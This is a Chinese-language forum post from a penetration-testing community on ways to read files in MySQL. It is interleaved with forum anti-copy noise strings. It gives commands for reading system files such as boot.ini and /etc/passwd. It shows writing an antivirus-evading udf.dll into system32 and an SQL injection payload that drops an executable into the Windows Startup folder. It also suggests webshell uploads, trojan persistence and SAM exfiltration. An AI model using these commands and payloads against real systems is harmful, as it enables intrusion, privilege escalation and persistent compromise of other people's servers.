中国网络渗透测试联盟

标题: mysql下读取文件的几种方式 [打印本页]

作者: admin    时间: 2012-9-13 16:34
标题: mysql下读取文件的几种方式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
2 u; b" \0 L1 B! G3 }. \+ L思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同 6 d$ l$ k# m8 a1 n5 w
) O& }" [- T& a; b7 ]! @
mysql3.x下 $ `3 D6 \5 V* g. i& v& U

& ?/ D$ O( ^" G8 x1 A4 J+ j% {不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下
4 E/ Y% D5 Z* P+ v/ {' @$ w# F8 L7 W/ B
mysql>create table a (cmd text);
( H6 R/ L" ~7 i( y% W. Qmysql>load data infile 'c:\\boot.ini' into table a; & G9 ]* a1 f6 S/ h$ y0 o
mysql>select * from a;
" j5 I. k( T, _, Q& j
, x# g( d7 q5 f, X, Y7 u9 Nmysql4.x下 ' Y; K8 S+ @$ m! p6 q  K
$ W' h6 E- W2 H3 `
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
, Z% w4 T: `' B( v+ P+ x
1 x( t2 ]  ~! pmysql>create table a (cmd text);
9 r1 l0 D" |/ Smysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
# g6 w3 }. X4 d0 r, _2 \) [, @mysql>select * from a;
" G9 G9 K) P5 O+ g6 _5 _! J% N7 M
mysql5.x下
8 G. a0 D6 t2 [5 X. \7 @* c- L; q8 T- t: @( y8 P
在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
& U0 ?. R! l- w! d& u% \
: Q+ _* d) G/ emysql>system cat /etc/passwd $ f7 |1 d$ t1 F4 ]. G
1 _! S* J, z- D0 j3 |% Y

7 t  g/ @" |/ z7 M( Pmysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。 % U- a% _% E* K2 g  N1 K' {5 m- D" a" Y

. d8 H' s8 v2 @# V6 U! N2 O  r. U4 R* n/ J6 ]
例:把免杀过的udf.dll文件插入系统目录 , I( i9 Z  i3 U* v3 w( d$ H: X

+ ~, O8 q3 d( S; h7 u7 ~% lcreate table a (cmd LONGBLOB); 1 B4 T, ]( a3 t* L9 z, g
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll'))); 1 P6 _' @: Z9 q; j
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll'; 6 s3 M" w% I. y3 O- s; L' n
6 |0 `' m0 M6 d" [
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。 6 t1 M1 i/ N! O

6 s& H5 }6 h9 S) O6 m" K1 u1 d2 [, d/ }! A/ c% `) v
注入中的语法(未测试)
8 t/ [8 N: [4 Q' w2 v- w) G& a% e+ l. v1 ^
* h7 O- q5 M$ t2 n
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2